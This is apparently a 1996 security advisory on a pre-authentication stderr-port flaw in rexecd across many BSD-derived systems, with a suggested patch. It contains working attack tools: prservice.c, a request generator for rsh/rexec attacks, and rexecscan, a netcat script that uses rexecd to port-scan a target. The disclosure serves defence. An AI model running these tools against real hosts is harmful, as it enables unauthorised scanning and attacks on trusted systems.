Futile rexecd holes

[jaeger () dhp com (jaeger)]

Vulnerability:
        Rexecd allows redirection of stderr stream to an arbitrary port on
the client machine.  This stream is opened by rexecd before authentication of
the user.

Vulnerable:
        All systems with BSD-based networking including FreeBSD,
OpenBSD, NetBSD, BSDI BSD/OS, Solaris 2, OSF/1, Ultrix, Linux.

Background:
        Rshd and rexecd can output stderr by opening a socket from the
server machine to the client machine which is accepted by the rsh or rexec
client.  The rsh client opens the initial connection from a privileged port,
rshd responds from a privileged port, and redirects the connection to a
privleged port on the client machine.  The trust model is preserved because
this whole process is controlled by the setuid program rsh on the client
machine.
        Exec is fundamentally similar to the shell service except that instead
of a remote and local username being transmitted (for .rhosts and hosts.equiv
authentication only) a username and password is transmitted, and the whole
exchange uses unprivileged ports.

Discussion:
        Because rexec uses unprivileged ports for the whole process, any
user can send a request to a rexecd requesting connection of the stderr stream
to an arbitrary port on the client machine.  Since the client is unprivileged,
there is no possibility for the legitimate stderr stream to be destined for a
privileged port.
        In addition, spoofing techniques could allow the client to direct
the stderr stream towards an arbitrary host as well as an arbitrary port,
possibly exploiting a given trust model.
        Since rexecd terminates if the stderr port can't be connected to,
and the port can be specified, rexecd can be used to easily scan the client
host from the server host.  The included script "rexecscan" demonstrates
this.

Repeat-By:

begin prservice.c

/* modified by jaeger 12Nov1996. Duplicated slack coding style.

   now takes
        port locuser remuser [cmd]
        port remuser passwd [cmd]
   where port is the dst port you wish the stderr socket to connect to
   from the server to the client machine.

/* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up
   rsh/rexec attacks.  Needs to be a prog because shells strip out nulls.

   args:
        locuser remuser [cmd]
        remuser passwd [cmd]

   cmd defaults to "pwd".

   ... whatever.  _H*/

#include <stdio.h>

/* change if you like; "id" is a good one for figuring out if you won too */
static char cmd[] = "pwd";

static char buf [256];

main(argc, argv)
  int argc;
  char * argv[];
{
  register int x;
  register int y = 0;
  char * p;
  char * q;

  p = buf;
  memset (buf, 0, 256);

  if (! argv[1])
    goto wrong;
  x = strlen (argv[1]);
  memcpy (p, argv[1], x);       /* port plus null */
  x++;
  p += x;
  y += x;

  if (! argv[2])
    goto wrong;
  x = strlen (argv[2]);
  memcpy (p, argv[2], x);       /* second arg plus null */
  x++;
  p += x;
  y += x;

  if (! argv[3])
    goto wrong;
  x = strlen (argv[3]);
  memcpy (p, argv[3], x);       /* third arg plus null */
  x++;
  p += x;
  y += x;

  q = cmd;
  if (argv[4])
    q = argv[4];
  x = strlen (q);               /* not checked -- bfd */
  memcpy (p, q, x);             /* the command, plus final null */
  x++;
  p += x;
  y += x;

  memcpy (p, "\n", 1);          /* and a newline, so it goes */
  y++;

  write (1, buf, y);            /* zot! */
  exit (0);

wrong:
  fprintf (stderr, "%s: <port> <arg> <arg>\n",argv[0]);
  exit (1);
}

end prservice.c

begin rexecscan

#!/bin/sh
# Dumb script to demonstrate scanning with rexecd
# jaeger, 12Nov1996

# Path to netcat
NC=nc
# Path to prservice program
PRS=./prservice
# Port to scan to
MAX=1024

TARGET=$1
USER=$2
PASSWORD=$3

PORT=1

if [ $# -ne 3 ]; then
        echo "$0 <targethost> <username> <password>"
fi

while [ $PORT -lt $MAX ]; do
        $PRS $PORT $USER $PASSWORD "echo $PORT open" | $NC $TARGET 512
        PORT=`expr $PORT + 1`
done

exit 0

end rexecscan

Suggested Fix:
        The rexecd should check the specified return port ("port") to make
sure it is nonprivileged, and not open the stderr stream until authentication
is complete.  Similar fixes for rshd are left as an exercise for the reader.

*** rexecd.c.dist       Mon Nov 11 11:32:23 1996
--- rexecd.c    Thu Nov 14 01:55:17 1996
***************
*** 151,168 ****
                port = port * 10 + c - '0';
        }
        (void) alarm(0);
!       if (port != 0) {
!               s = socket(AF_INET, SOCK_STREAM, 0);
!               if (s < 0)
!                       exit(1);
!               if (bind(s, (struct sockaddr *)&asin, sizeof (asin)) < 0)
!                       exit(1);
!               (void) alarm(60);
!               fromp->sin_port = htons(port);
!               if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp)) < 0)
!                       exit(1);
!               (void) alarm(0);
!       }
        getstr(user, sizeof(user), "username");
        getstr(pass, sizeof(pass), "password");
        getstr(cmdbuf, sizeof(cmdbuf), "command");
--- 151,157 ----
                port = port * 10 + c - '0';
        }
        (void) alarm(0);
!
        getstr(user, sizeof(user), "username");
        getstr(pass, sizeof(pass), "password");
        getstr(cmdbuf, sizeof(cmdbuf), "command");
***************
*** 215,220 ****
--- 204,227 ----
                error("No remote directory.\n");
                exit(1);
        }
+
+       if (port != 0) {
+               if ((port != 0) && (port < IPPORT_RESERVED)) {
+                       syslog(LOG_ERR, "client stderr port in reserved range\n");
+                       exit(1);
+               }
+               s = socket(AF_INET, SOCK_STREAM, 0);
+               if (s < 0)
+                       exit(1);
+               if (bind(s, (struct sockaddr *)&asin, sizeof (asin)) < 0)
+                       exit(1);
+               (void) alarm(60);
+               fromp->sin_port = htons(port);
+               if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp)) < 0)
+                       exit(1);
+               (void) alarm(0);
+       }
+
        (void) write(2, "\0", 1);
        if (port) {
                (void) pipe(pv);
***************
*** 255,260 ****
--- 262,268 ----
                (void) close(s); (void)close(pv[0]);
                dup2(pv[1], 2);
        }
+
        if (*pwd->pw_shell == '\0')
                pwd->pw_shell = _PATH_BSHELL;
        if (f > 2)